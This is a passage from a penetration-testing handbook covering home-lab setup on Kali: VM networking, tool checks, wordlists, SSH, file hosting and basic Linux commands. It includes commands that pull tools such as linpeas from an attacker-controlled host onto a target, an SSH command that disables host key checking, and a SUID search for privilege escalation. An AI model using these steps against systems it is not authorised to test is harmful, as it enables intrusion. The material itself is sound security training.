Most VM hypervisors default to **NAT** mode, which gives each VM internet access through your host. This works fine for downloading tools and connecting to online lab platforms (Hack The Box, TryHackMe). For a local lab where your VMs need to talk to each other, switch to **Host-Only** mode:

**VirtualBox:** Open VM Settings > Network > Adapter 1. Change “Attached to” to **Host-Only Adapter**. If no host-only network exists, create one via File > Host Network Manager > Create. VirtualBox names it `vboxnet0` — this is a virtual network interface on your host machine that acts as a switch between your VMs. The default subnet `192.168.56.0/24` works well. Repeat for each VM.

**VMware:** Open VM Settings > Network Adapter. Change to **Host-Only**. Repeat for each VM.

#### Which mode to use:

- **NAT** — VM can reach the internet but not other VMs. Good for updating tools.
- **Host-Only** — VMs can reach each other but not the internet. Good for isolated labs.
- **Bridged** — VM appears on your real network. Avoid this with vulnerable VMs unless you are on a fully isolated network.

**Tip:** You can add a second network adapter (Adapter 2) set to NAT so your Kali has both internet access and connectivity to your target VMs on the Host-Only network.

#### Target layout:

```
Host machine (your laptop/desktop)
  |
  [VirtualBox / VMware]
  |
  [Host-Only virtual switch]
  └─ Kali Linux VM (attack)    192.168.56.101
```

```
└─ Windows 10 VM (target) 192.168.56.102
└─ Metasploitable VM (target) 192.168.56.103
```

## 1.7.6 Verify Your Setup

After starting both Kali and a target VM, run from Kali:

```
# Confirm Kali has an IP on the internal network
ip a show eth1 # or the host-only interface

# Confirm you can reach the target
ping -c 3 192.168.56.102 # Replace with your target VM's IP

# Confirm basic attack tools are installed
which nmap gobuster ffuf sqlmap hydra john hashcat
```

## 1.7.7 Minimum Tool Check

Before working through this handbook, confirm these core tools are installed on your Kali. Most come pre-installed; this verifies nothing is missing:

```
# Check that each tool is installed (no output = missing)
which nmap gobuster ffuf nikto sqlmap hydra
which john hashcat msfconsole
which impacket-secretsdump bloodhound-python
which crackmapexec evil-winrm chisel seclists
```

If any tool is missing, install the full toolkit:

```
sudo apt update && sudo apt install -y \
  nmap gobuster ffuf nikto sqlmap hydra \
  john hashcat impacket-scripts bloodhound \
  crackmapexec evil-winrm chisel seclists wordlists
```

Then re-run the `which` checks above to confirm everything resolves.

## 1.7.8 Where Tools Live on Kali

Kali organizes tools into standard paths. Knowing these helps when you need to find binaries, wordlists, or scripts:

Path	Contents
/usr/bin/	Tool binaries (nmap, gobuster, etc.)
/usr/share/wordlists/	Wordlists including rockyou.txt
/usr/share/seclists/	SecLists (sudo apt install seclists)
/usr/share/nmap/scripts/	NSE scripts for Nmap
/usr/share/webshells/	Pre-built web shells (PHP, ASP, JSP)
/usr/share/windows-resources/	Windows binaries (nc.exe, wget.exe)
/opt/	Manually installed tools

**Unlocking rockyou.txt** (first time only):

Kali ships the `rockyou.txt` wordlist in compressed (gzipped) form to save disk space. You need to decompress it before any password cracking tool can use it:

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

After this, `rockyou.txt` (about 133 MB uncompressed, ~14 million passwords) is ready to use with tools like `john` and `hashcat`.

## 1.7.9 Adding Tools to Your PATH

If you install a tool manually (downloaded from GitHub, compiled from source, etc.) and it is not found when you type its name, you need to add its location to your PATH:

```
# Temporary (current session only)
export PATH=$PATH:/opt/mytool/

# Permanent (add to your shell profile)
echo 'export PATH=$PATH:/opt/mytool/' >> ~/.bashrc
source ~/.bashrc
```

To verify a tool's location:

```
which nmap          # Shows: /usr/bin/nmap
which chisel        # Shows the path or "not found"
```

---

## 1.8 Lab Environment Setup

Once Kali is installed and updated, the sections below show how to enable services you will need later during labs. **You do not need to run these commands right now.** Read through them so you know they exist, and come back to enable each one when the handbook tells you to use it.

### 1.8.1 Enable SSH (Remote Access to Your Kali)

***When you need this:** When you want to connect to your Kali VM from your host machine's terminal (for copy-pasting commands or opening multiple sessions). You may also want this when setting up SSH tunnels during pivoting labs (covered in the **Pivoting** chapter). You do not need SSH for the first several chapters.*

SSH is not enabled by default on Kali. When you are ready to use it:

```
sudo systemctl enable ssh  # start SSH automatically on boot
sudo systemctl start ssh   # start SSH right now
sudo ss -antlp | grep sshd # verify it is listening on port 22
```

### 1.8.2 Start a Web Server (File Hosting)

***When you need this:** When you have a shell on a target machine and need to transfer a tool or exploit from your Kali to the target. This comes up in the **Enumeration, Privilege Escalation, and Post-Exploitation** chapters. You do not need this during the foundation chapters.*

During penetration tests, you frequently need to transfer files to target machines (exploits, shells, enumeration scripts). The easiest way is to host them on a web server running on your Kali:

```
# Option 1: Apache (persistent, serves from /var/www/html/)
sudo systemctl start apache2
sudo systemctl enable apache2

# Option 2: Python one-liner (temporary, serves from current directory)
python3 -m http.server 8000
```

Then on the target, download the file:

```
# From a Linux target:
wget http://<ATTACKER_IP>:8000/linpeas.sh

# From a Windows target (PowerShell):
Invoke-WebRequest http://<ATTACKER_IP>:8000/winPEAS.exe -OutFile
winPEAS.exe
```

### 1.8.3 SSH Lab Connection

*When you need this:* When you discover SSH (port 22) on a target and have valid credentials or a private key. This is also how you connect to PWK/OSCP lab machines.

When connecting to lab machines over SSH, you may encounter host key warnings (because machines are rebuilt frequently). These flags suppress the warning so your connection does not hang waiting for you to type “yes”:

```
ssh -o "UserKnownHostsFile=/dev/null" \
-o "StrictHostKeyChecking=no" \
<USERNAME>@<TARGET_IP>
```

### 1.8.4 Lab Directory Structure

Before you start working on any target, create an organized directory structure. This habit pays off when you need to revisit your notes or write a report:

```
mkdir target
cd target
mkdir nmap scans loot exploits
touch creds.txt notes.txt
```

For multi-machine scenarios (e.g., Challenge Labs, AD sets):

```
mkdir beyond
cd beyond
mkdir mailsrv1 webserv1
touch creds.txt
```

---

## 1.9 Further Learning Resources

### 1.9.1 Books

---

Title	Author	Focus
The Hacker Playbook 3	Peter Kim	Red team methodology, AD
Red Team Development	Vest & Tubberville	Enterprise red teaming
Penetration Testing	Georgia Weidman	Intro pentesting
Web App Hacker's Handbook	Stuttard & Pinto	Web app security
Windows Internals	Russinovich et al.	Deep Windows knowledge
Art of Exploitation	Jon Erickson	Low-level exploitation

---

### 1.9.2 Online Resources

- **HackTricks** — <https://book.hacktricks.xyz>
- **GTFOBins** — <https://gtfobins.github.io>
- **LOLBAS** — <https://lolbas-project.github.io>
- **PayloadsAllTheThings** — <https://github.com/swisskyrepo/PayloadsAllTheThings>
- **ired.team** — <https://www.ired.team>

- **Exploit Database** — <https://www.exploit-db.com>
- **MITRE ATT&CK** — <https://attack.mitre.org>

### 1.9.3 Certifications Pathway

Entry Level:

CompTIA Security+ -> CompTIA PenTest+  
eJPT (eLearnSecurity Junior Penetration Tester)

Intermediate:

OSCP (Offensive Security Certified Professional)  
eCPPT (eLearnSecurity Certified Professional)

Advanced:

OSED (Exploit Developer) - Windows exploit dev  
OSEP (Experienced Pentester) - AV evasion, AD  
CRTE (Certified Red Team Expert) - Advanced AD  
CRT0 (Certified Red Team Operator) - Cobalt Strike

---

## 1.10 Quick Reference: Essential Commands

***If you are brand new to cybersecurity:** Skip this section for now. These reference pages are meant to be used during labs and engagements — not memorized up front. Start with the Foundation chapters (Networking Fundamentals, Linux for Penetration Testers, Windows Internals) which explain these concepts in depth. Come back here when you need a quick command lookup.*

*The sections below provide a condensed reference for the core tools and techniques you will use constantly throughout this handbook. They are placed here so you have a single place to flip back to during labs. Detailed explanations of Linux, Windows, and networking concepts are covered in the Foundation chapters that follow.*

## 1.11 Linux Command Reference

These are foundational commands used throughout this handbook. They appear frequently in enumeration, file transfer, and post-exploitation steps. If you are unfamiliar with any of these commands, the **Linux for Penetration Testers** chapter covers them in full detail.

### 1.11.1 File and Process Management

These commands help you find files and manage running processes. During post-exploitation, you use `find` to locate configuration files, credentials, and SUID binaries. Process commands help you understand what is running on a target and whether services are exploitable.

```
# Find files
which sbd # where is this binary installed?
locate filename # fast filesystem search (run sudo
updatedb first)
find / -name sbd* 2>/dev/null # search entire system by name
find / -perm -4000 2>/dev/null # find SUID binaries (privesc vector)
find /dir/ -mtime -30 -ls # files modified in last 30 days

# Process management
ps aux # what is running? (check for root
processes)
ps -efe # same info, different format
kill <PID> # stop a process by its ID
watch -n 5 w # re-run a command every 5 seconds

# Background jobs (run something while keeping your terminal)
ping -c 400 localhost > ping.txt & # & puts the command in background
jobs # list background jobs
fg %1 # bring job #1 back to foreground
```